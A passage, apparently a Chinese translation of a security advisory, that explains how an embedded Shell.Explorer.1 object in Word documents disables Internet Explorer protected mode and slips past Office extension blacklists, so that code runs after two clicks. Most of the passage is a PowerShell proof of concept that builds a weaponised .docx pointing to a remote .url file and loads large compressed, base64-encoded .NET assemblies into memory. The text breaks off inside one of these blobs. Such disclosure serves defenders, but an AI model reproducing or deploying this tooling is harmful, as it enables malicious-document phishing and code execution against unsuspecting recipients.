由于该控件禁用了IE的保护模式，而该模式会阻止显示其他对话框，例如UAC对话框。因此，只需要两次单击就可以运行恶意代码，即第一次单击用以激活，然后点击运行/打开按钮即可。Shell.Explorer.1对象也是绕过Office
2016/365中文件扩展名黑名单的一个很好的方法，因为Shell.Explorer.1没有位于相应的黑名单中。
**POC**
* * *
下面的PowerShell脚本将尝试创建包含嵌入式Internet
Explorer对象的Word文档。该脚本会使用Packager对象创建一个看起来像嵌入式文件的对象，并且单击该对象的话，将触发文件下载功能。
# target file path
$filename = [Environment]::GetFolderPath('Desktop') + '\WebBrowser.docx'
# path to open
#$path = 'c:\windows\system32\calc.exe'
$path = 'https://securify.nl/blog/SFY20180801/thisisfine.url'
# the temp file is used for creating the icon
$tmpfile = "$env:TEMP\Totally Safe.txt"
# load assemblies for changing the docx (zip) file
[void] [Reflection.Assembly]::LoadWithPartialName('System.IO.Compression.FileSystem')
[void] [Reflection.Assembly]::LoadWithPartialName('System.IO.Compression')
# load PropertyStore (copied from https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Export-LNKPwn.ps1)
$EncodedCompressedFile = '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'
$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](13312)
$DeflatedStream.Read($UncompressedFileBytes, 0, 13312) | Out-Null
[Reflection.Assembly]::Load($UncompressedFileBytes) | Out-Null
# load ShellLink (copied from https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Export-LNKPwn.ps1)
$EncodedCompressedFile = '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